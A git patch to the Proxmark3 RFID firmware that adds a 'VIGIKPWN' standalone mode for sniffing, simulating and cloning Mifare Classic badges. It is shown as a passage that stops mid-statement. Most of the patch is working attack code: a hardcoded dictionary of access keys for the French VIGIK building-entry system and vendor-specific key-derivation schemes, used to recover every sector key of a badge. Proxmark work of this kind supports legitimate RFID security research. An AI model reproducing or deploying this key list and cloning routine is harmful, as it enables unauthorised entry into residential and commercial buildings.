From 3108293c1f3a43f2b7fc44d987ff9d93e3a7f14a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Oct 2017 15:29:33 +0200 Subject: [PATCH] ADD: New standalone mode by (@cjbrigato) Excellent work! --- .gitignore | 5 +- CHANGELOG.md | 5 + armsrc/Makefile | 1 + armsrc/Standalone/hf_colin.c | 868 ++++++++++++++++++++++++++--------- armsrc/Standalone/hf_colin.h | 46 +- armsrc/appmain.c | 43 +- 6 files changed, 717 insertions(+), 251 deletions(-) diff --git a/.gitignore b/.gitignore index 5cbdc581d..876045f94 100644 --- a/.gitignore +++ b/.gitignore @@ -16,7 +16,6 @@ *.moc.cpp *.z !client/hardnested/tables/*.z -usb_cmd.lua version.c client/ui/ui_overlays.h *.Td @@ -47,3 +46,7 @@ fpga/* #client/* # my own traces folder client/traces/* + + +client/lualibs/mf_default_keys.lua +client/lualibs/usb_cmd.lua diff --git a/CHANGELOG.md b/CHANGELOG.md index b6f579176..4bfbd77fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,11 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] + - Added new standalone mode "HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN" (@cjbrigato) + +### Fixed +- Changed start sequence in Qt mode (fix: short commands hangs main Qt thread) (Merlok) + ## [ice.3.1.0][2017-09-26] - proxmark3 client can reconnect to device without restart (iceman) - lots of bug fixes (many many) diff --git a/armsrc/Makefile b/armsrc/Makefile index 343fd4202..15e04bbd1 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -37,6 +37,7 @@ APP_CFLAGS = -DWITH_CRC \ # -DWITH_LF_HIDCORP # -DWITH_HF_YOUNG # -DWITH_HF_MATTYRUN +# -DWITH_HF_COLIN SRC_LCD = fonts.c LCD.c diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 5004f9ac3..d58881c1b 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -10,32 +10,77 @@ //----------------------------------------------------------------------------- #include "hf_colin.h" -// Colin's sniff and repeat routine for HF Mifare +#define MF1KSZ 1024 +#define MF1KSZSIZE 64 +#define FALSE false +#define TRUE true +#define AUTHENTICATION_TIMEOUT 848 + +uint8_t cjuid[10]; +uint32_t cjcuid; + +// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare void RunMod() { - /* Messy messy */ - #define MF1KSZ 1024 - #define MF1KSZSIZE 64 - - /* some mess forgotten to get rid of */ - uint8_t sectorsCnt = (mifare_size / sectorSize); - uint64_t key64; - uint8_t *keyBlock = NULL; + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - /* know number of known keys for standalone mode */ - #define STKEYS 35 - uint64_t mfKeys[STKEYS] = { + // bool printKeys = false; + // bool simulation = true; // Simulates an exact copy of the target tag + // bool fillFromEmulator = true; // Dump emulator memory. + + // We should get rid of this sh; + + // uint8_t blockNo = 3; // Security block is number 3 for each sector. + uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE); + uint64_t key64; // Defines current key + uint8_t *keyBlock = NULL; // Where the keys will be held in memory. + +/* + Set of keys to be used. + This should cover ~98% of + French VIGIK system @2017 +*/ +/* know number of known keys for standalone mode */ +//#define STKEYS 35 +#define STKEYS 35 + + const uint64_t mfKeys[STKEYS] = { 0xffffffffffff, // TRANSPORTS + 0x000000000000, // Blankkey + 0x484558414354, // INFINEONON A / 0F SEC B 0x414c41524f4e, // ALARON NORALSY 0x424c41524f4e, // BLARON NORALSY 0x8829da9daf76, // URMET CAPTIV IF A => ALL A/B - 0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO HARDENED & MAD ACCESS - 0x021209197591, // BTCINO HARDENED UNDETERMINED SPREAKD 0x01->0x13 key - 0x484558414354, // INFINEON ON A / 0F SEC B - /* . . * / - } + 0xb0b1b2b3b4b5, // NA + 0xaabbccddeeff, // NA + 0x4d3a99c351dd, // NA + 0x1a982c7e459a, // NA + 0xd3f7d3f7d3f7, // NA + 0x714c5c886e97, // NA + 0x587ee5f9350f, // NA + 0xa0478cc39091, // NA + 0x533cb6c723f6, // NA + 0x8fd0a4f256e9, // NA + 0xa0a1a2a3a4a5, // PUBLIC BLOC0 BTICINO MAD ACCESS + 0x021209197591, // BTCINO UNDETERMINED SPREAKD 0x01->0x13 key + 0xa22ae129c013, // INFINEON B 00 + 0x49fae4e3849f, // INFINEON B 01 + 0x38fcf33072e0, // INFINEON B 02 + 0x8ad5517b4b18, // INFINEON B 03 + 0x509359f131b1, // INFINEON B 04 + 0x6c78928e1317, // INFINEON B 05 + 0xaa0720018738, // INFINEON B 06 + 0xa6cac2886412, // INFINEON B 07 + 0x62d0c424ed8e, // INFINEON B 08 + 0xe64a986a5d94, // INFINEON B 09 + 0x8fa1d601d0a2, // INFINEON B 0A + 0x89347350bd36, // INFINEON B 0B + 0x66d2b7dc39ef, // INFINEON B 0C + 0x6bc1e1ae547d, // INFINEON B 0D + 0x22729a9bd40f // INFINEON B 0E + }; - /* Can remember something like that in case of Bigbuf */ + /* Can remember something like that in case of Bigbuf */ keyBlock = BigBuf_malloc(STKEYS * 6); int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); @@ -43,313 +88,680 @@ void RunMod() { num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); } - uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE); - uint8_t foundKey[2][40][6]= {0xff}; /* C99 abusal 6.7.8.21 */ - /* TODO : remember why we actually had need to initialize this array in such specific case */ - /* and why not a simple memset abuse to 0xffize the whole space in one go ? */ + /* TODO : remember why we actually had need to initialize this array in such specific case + and why not a simple memset abuse to 0xffize the whole space in one go ? */ + // uint8_t foundKey[2][40][6]; //= [ {0xff} ]; /* C99 abusal 6.7.8.21 */ + + uint8_t foundKey[2][40][6]; + for (uint16_t t = 0; t < 2; t++) { + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + // validKey[t][sectorNo] = false; + for (uint16_t i = 0; i < 6; i++) { + foundKey[t][sectorNo][i] = 0xff; + } + } + } int key = -1; - int block = 0; + // int block = 0; bool err = 0; bool trapped = 0; - uint32_t size = mfKeysCnt; /* what’s the point for copy ? int should be uint32_t in this case, same deal */ + bool allKeysFound = true; - Dbprintf("...Waiting For Tag..."); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { - WDT_HIT(); - } - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(100); - - Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid)); + uint32_t size = mfKeysCnt; /* what’s the point for copy ? int should be + uint32_t in this case, same deal */ + LED_A_OFF(); + LED_B_OFF(); + LED_C_OFF(); + LED_D_OFF(); + LED_A_ON(); - uint32_t end_time; - uint32_t start_time = end_time = GetTickCount(); + Dbprintf("%s>>%s C.J.B's MifareFastPwn Started", _RED_, _WHITE_); + Dbprintf("...Waiting For Tag..."); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + while (!iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) { + WDT_HIT(); + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + // SpinDelay(100); + SpinDelay(200); - /* then let’s expose this “optimal case” of “well known vigik schemes” : */ - for (uint8_t type = 0; type < 2 && !err && !trapped; type++) { + // Dbprintf("Got tag : %02x%02x%02x%02x", at91stdio_explode(cjuid, &cjcuid)); + Dbprintf("Got tag : %02x%02x%02x%02x", cjuid[0], cjuid[1], cjuid[2], cjuid[3]); + + uint32_t end_time; + uint32_t start_time = end_time = GetTickCount(); + + ///////////////////////////////////////////////////////// + // WE SHOULD FIND A WAY TO GET UID TO AVOID THIS "TESTRUN" + + // HERE IS TO BE THOUGHT AS ONLY A KEY SHOULD BE CHECK + // THEN WE FILL EMULATOR WITH KEY + // WHEN WE FILL EMULATOR CARD WITH A KEY + // IF THERE IS ANY FAIL DURING ANY POINT, WE START BACK CHECKING B KEYS + // THEN FILL EMULATOR WITH B KEEY + // THEN EMULATOR WITH CARD WITH B KEY + // IF IT HAS FAILED OF ANY OF SORT THEN WE ARE MARRON LIKE POMALO. + + // AN EVEN BETTER IMPLEMENTATION IS TO CHECK EVERY KEY FOR SECTOR 0 KEY A + // THEN IF FOUND CHECK THE SAME KEY FOR NEXT SECTOR ONLY KEY A + // THEN IF FAIL CHECK EVERY SECTOR A KEY FOR EVERY OTHER KEY BUT NOT THE BLOCK + // 0 KEY + // THEN TRY TO READ B KEYS FROM KNOWN A KEYS + // IF FAIL, CHECK SECTOR 0 B KEY WITH SECTOR 0 A KEY + // THEN IF FOUND CHECK EVERY SECTOR FOR SAME B KEY + // ELSE IF FAIL CHECK EVERY KEY FOR SECTOR 0 KEY B + // THEN IF FOUND CHECK SAME KEY FOR ONLY NEXT SECTOR KEY B (PROBABLE A KEY IS + // SAME FOR EVERY SECTOR AND B KEY IS SAME FOR EVERY SECTOR WITH JUST A vs B + // DERIVATION + // THEN IF B KEY IS NOT OF THIS SCHEME CHECK EVERY REMAINING B KEYED SECTOR + // WITH EVERY REMAINING KEYS, BUT DISCARDING ANY DEFAULT TRANSPORT KEYS. + ///////////////////////////////////////////////////// + + // also we could avoid first UID check for every block + + /* then let’s expose this “optimal case” of “well known vigik schemes” : */ + for (uint8_t type = 0; type < 2 && !err && !trapped; type++) { for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) { - /* see after for the chk, nothing fancy */ key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); + // key = saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); if (key == -1) { err = 1; + allKeysFound = false; /* used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock */ - cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + break; + } else if (key == -2) { + err = 1; // Can't select card. + allKeysFound = false; + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); break; } else { - - /* BRACE YOURSELF */ - /* AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */ - else { - num_to_bytes(key64, 6, foundKey[type][sec]); + /* BRACE YOURSELF : AS LONG AS WE TRAP A KNOWN KEY, WE STOP CHECKING AND ENFORCE KNOWN SCHEMES */ uint8_t tosendkey[12]; - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[type][sec][0], foundKey[type][sec][1], foundKey[type][sec][2], - foundKey[type][sec][3], foundKey[type][sec][4], foundKey[type][sec][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12); + num_to_bytes(key64, 6, foundKey[type][sec]); + Dbprintf("SEC: %d ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type); + /*cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/ switch (key64) { + ///////////////////////////////////////////////////////// + // COMMON SCHEME 1 : INFINITRON/HEXACT case 0x484558414354: - Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); - Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); - Dbprintf("%cDetected: %c INFI_HEXACT_VIGIK_TAG%c", _ORANGE_, _CYAN_, _WHITE_); - Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_,_GREEN_, _YELLOW_, _GREEN_); - Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c",_GREEN_, _WHITE_); + Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + Dbprintf("%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_); + Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); ; + // Type 0 / A first uint16_t t = 0; for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); } t = 1; uint16_t sectorNo = 0; num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 1; num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 2; num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 3; num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 4; num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 5; num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 6; num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 7; num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 8; num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 9; num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 10; num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 11; num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 12; num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 13; num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 14; num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); sectorNo = 15; num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); trapped = 1; break; + ////////////////END OF SCHEME 1////////////////////////////// + + /////////////////////////////////////// + // COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/? case 0x8829da9daf76: - Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); - Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); - Dbprintf("%cDetected :%cURMET_CAPTIVE_VIGIK_TAG%c", _ORANGE_, _CYAN_, _WHITE_); - Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); - Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c",_GREEN_, _WHITE_); + Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + Dbprintf("%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _ORANGE_, _CYAN_, _WHITE_); + Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); // emlClearMem(); + // A very weak one... for (uint16_t t = 0; t < 2; t++) { for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { - // validKey[t][sectorNo] = true; num_to_bytes(key64, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); } } trapped = 1; break; - case 0x414c41524f4e: + ////////////////END OF SCHEME 2////////////////////////////// + + /////////////////////////////////////// + // COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A" + case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair case 0x424c41524f4e: - Dbprintf("%c>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%c", _RED_, _WHITE_); - Dbprintf(" .TAG SEEMS %cDETERMINISTIC%c. ", _GREEN_, _WHITE_); - Dbprintf("%c Detected :%cNORALSY_VIGIK_TAG %c", _ORANGE_, _CYAN_, _WHITE_); - Dbprintf("...%c[%cKey_derivation_schemeTest%c]%c...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); - Dbprintf("%c>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%c", _GREEN_, _WHITE_); + Dbprintf("%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _RED_, _WHITE_); + Dbprintf(" .TAG SEEMS %sDETERMINISTIC%s. ", _GREEN_, _WHITE_); + Dbprintf("%s Detected :%sNORALSY_VIGIK_TAG %s", _ORANGE_, _CYAN_, _WHITE_); + Dbprintf("...%s[%sKey_derivation_schemeTest%s]%s...", _YELLOW_, _GREEN_, _YELLOW_, _GREEN_); + Dbprintf("%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _GREEN_, _WHITE_); ; t = 0; for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { num_to_bytes(0x414c41524f4e, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, 